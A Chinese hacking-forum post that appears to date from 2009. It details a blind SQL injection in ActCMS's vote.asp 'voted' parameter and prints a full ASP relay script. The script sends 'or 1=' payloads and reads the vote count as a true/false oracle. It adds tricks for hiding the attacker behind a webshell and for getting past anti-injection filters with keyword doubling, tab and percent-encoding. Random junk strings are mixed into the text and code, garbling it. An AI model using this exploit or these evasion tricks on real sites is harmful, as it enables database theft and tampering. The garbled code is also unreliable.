注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
5 O! J; N. b1 `5 `6 {, L关于actcms漏洞的利用  by 3x qq:381862589
# v9 r$ L4 l# b: ?转载请注明以上
漏洞文件：
/plus/vote/vote.asp
; y, u0 w. R! V1 t1 L" X代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
! {& v% T) }: i, d' a, ~
# ^9 {9 g/ O# p0 h' s& \2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
4 i. s- f$ V: i# q/ A( ^# z
3    response.end   

4    end if   

" z: S3 F- X/ ^) S: F5    for i=1 to request("voted").count   
7 k8 C( ~  c6 f" ^' w
7 E$ _% r  H$ C) f6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   
! r/ c% W5 z# N8 D  O0 q
8....   

9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
/ e, C; H) B7 L如果投票成功票数加1
2 u3 q& d& c- d, d) H( t            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20
! {0 O- L6 A( Q6 N  ~) A( _
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
6 X& L3 t: G3 _* P注入地址：http://localhost/actcms/plus/vote/vote.asp
9 M, |0 k* t/ _# ?注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
  }& l' d6 v7 q: s
02JmdcwName=request("jmdcw")

03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

/ X, y# s4 X0 U8 f04JmStr="id=1&voted=-1 or 1="&JmdcwName

: d1 i9 F# \- O6 k% d05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
; q3 ~2 ^7 n& V0 u+ K
9 k( Z8 |$ j5 u* l4 P5 t9 _08testurl=testurl & "?" & JmStr
1 D& u' B6 Y: J% m0 U* U4 @( ?' `
09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

6 }4 X$ h3 \7 {7 Q11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

12JmCok=replace(JmCok,chr(32),"%20")  
7 s' z. R5 R: D; j, ?
1 n6 Q' j7 A4 Q5 W2 Q; T: Y13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  
0 t( A  m7 Z) W* `! `$ v  `& I+ J
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
0 v. C* K: S. ~' h" E$ X) T+ r
16  
% q, {4 L( r3 T, B6 P
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

18response.write test1&""&test2&""

19  

/ @5 T! w+ M) Q20if test1=test2 then '如前后记录相等，表示失败
, G, n: t" n& z
21  response.write "failed"

22else

23  response.write "succeed"

24end if  
' B- q. B  I* }: ^  ^
! J. a6 O) ?6 f2 ^) ?4 B) t25  
% \! I# S6 v( q( z8 w. s- T, J. S
26response.write "by 3x"
3 P; x/ y. F  y. W% z7 n
27  
* W5 B9 m: `5 N% j9 ~  C- U( {
- U4 c9 ~7 @5 m" x  U" }5 {' T28  

' b% _0 F: B  H/ K* p29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
- v+ t" C  Y' S( h4 |4 c
30Dim Http

2 f5 K4 E) r+ o- x31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
+ S7 d  V: M$ [+ c' Q" ~/ M& H9 |
6 D8 k+ w% a5 _. k. o' A32With Http

) h& s. ]; `( \7 `8 i. i5 a33  

34.Open "GET",PostUrl,False

! S- p$ G/ a5 K$ u35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

" o3 R7 h; E2 G$ v, L8 f* R36.SetRequestHeader "Referer",PostRef
6 G9 h+ f/ P' b( O- G. L: J% x
+ ^: X4 p* H8 j% x  W: P37.SetRequestHeader "Cookie",PostCok
) m) a4 C- Y1 t6 P) V  o0 }+ T
1 J' ]* o" s! A5 B3 N3 d+ V38.Send ()
8 n! [* M% Q' t* Y  [  p( C& S* C# T
39PostData = .ResponseBody
+ k2 \& ~. b* o; r+ s
40End With
" j/ ?. L$ d5 t" ^; X! |5 V
41Set Http = Nothing

42PostData =bytes2BSTR(PostData)
+ z: r' F3 a9 t. ~) `
1 x  u4 f+ P3 S  u$ S43End Function

9 L# y2 ~) a0 K# U- t8 X( k2 ]44  
$ M' R; \! f3 t6 F: c9 B+ M
, r/ H- \. ?, n2 Q+ E0 M45  
! p2 @$ j8 ^6 N- L: ?5 h( m4 L
2 _2 ?' z/ p6 O  {. M; R46Function bytes2BSTR(vIn)

" {+ y$ K2 a# i) ]2 R3 \: B47Dim strReturn

# C& j4 o. D: E48Dim I, ThisCharCode, NextCharCode
6 g9 n8 f% W0 k" T% {
49strReturn = ""
0 O6 k( V) y  X( d) S4 b( B
50For I = 1 To LenB(vIn)
- p6 I' Q* y8 Z8 P( P$ I2 G  R2 F5 k
51ThisCharCode = AscB(MidB(vIn, I, 1))
' R# a0 u+ Q0 U- _& _& i. f
& M* ~) w, a2 i' c52If ThisCharCode < &H80 Then
% C5 a7 Y. p6 O( n
53strReturn = strReturn & Chr(ThisCharCode)

54Else

- W2 h' k0 ?$ L3 ~6 N+ [$ p; D55NextCharCode = AscB(MidB(vIn, I + 1, 1))
- ]. d: c- C" r! V+ P7 V+ G
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1
1 }+ ^' L  w7 `" `
- }- e$ I( g( @) Z# B( o4 Z" {58End If

59Next
. \. ]/ r7 ~) \# W
60bytes2BSTR = strReturn
: {0 G1 K# S4 p; }" e$ N: W$ Y) m* Q
61End Function
+ w1 h- W& Q9 @( j9 Z
+ ^7 N& _( D8 B" f4 }. u. B! u& k3 p62  
/ C( |' k9 F; u: M- x( o) ^% R1 v
, ~( O  Q0 G7 T- ^  ?63Function URLEncoding(vstrin)  

& ~% B; y) l  h( |. G# S64strReturn=""

: R; Q4 e) K0 z# W  ~65Dim i
6 ^2 y; X1 U+ J3 n; i
+ N1 M; A) j4 b' ~+ y8 e66For i=1 To Len(vstrin)

67ThisChr=Mid(vstrin,i,1)

* v9 w+ j, l- V; b& u. v68if Abs(Asc(ThisChr))< &HFF Then

69strReturn=strReturn & ThisChr

1 X% [& i/ Z) ]# y1 D- I, r70Else
, Q% J" T1 a6 b, A; U+ T* r
5 X& N) D6 D5 Y71InnerCode=Asc(ThisChr)
. b/ X! i, p+ a- I" M
0 c: c. j8 E/ y& `0 s: c, a72If InnerCode<0 Then
1 c4 V3 s/ H5 k8 H2 R8 ~
73InnerCode=InnerCode + &H10000
2 M* l9 h4 Z4 Z- w& [
74End If
3 H7 M" m$ m+ ~" z* u2 o+ Z- K+ M7 u
* |/ }! O2 ~& w  z9 W75Hight1=(InnerCode And &HFF00) \&HFF
( {0 h/ H; F4 U% t# M
& K' a8 g& R  w; O76Low1=InnerCode And &HFF

: m# q( X* @3 g  E77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

79Next
9 ?8 v9 i) n6 p
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
( @( s* K" ]. q
, o. h7 B; t! T! S6 m  Z% i82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
6 d# M$ J, E# w, z3 t$ m( T
/ h0 O' T9 Q8 S0 m6 q83URLEncoding=strReturn

84End Function

& H& B' _/ n$ d* R85  
/ R- |) z& h$ t8 d( a  Q
  Z$ E" r4 h. ?$ r86function getSt(body)
7 n  q4 ?$ a& e8 i. Z
87  startpot=instr(body,"投票人数：")+len("投票人数：")
& m' r9 ~% \' t
: ]: S" G7 @3 V/ H88  endpot=instr(startpot,body," ")
: j4 R1 b, s; C5 F0 j
; \: P# j: U/ {7 x% l; R4 ?89  getSt=mid(body,startpot,endpot-startpot)
. y) Z9 j* D3 g4 {! n. n
, m( N+ K' g+ m# {90end function

4 X1 g9 S' p* \( y) @91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
7 Y  Z( a$ F3 G6 t测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
9 b3 b1 d* ~; _投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
& Q" O5 N: \$ Y/ x9 c-------------------------------------------------------------------------------
1 ^0 Z  ^& O5 m9 I( q再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
8 Q7 {. ~; M9 ^! q: E7 J很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
4 G, ]& }/ X6 w9 p-------------------------------------------------------------------------------
, I2 O' v2 F3 O- F2 l
; w# a7 R- ?  x+ r8 x; c注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
& ]: p8 y- V+ J2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

  C+ F8 ~* U; t* B3 ]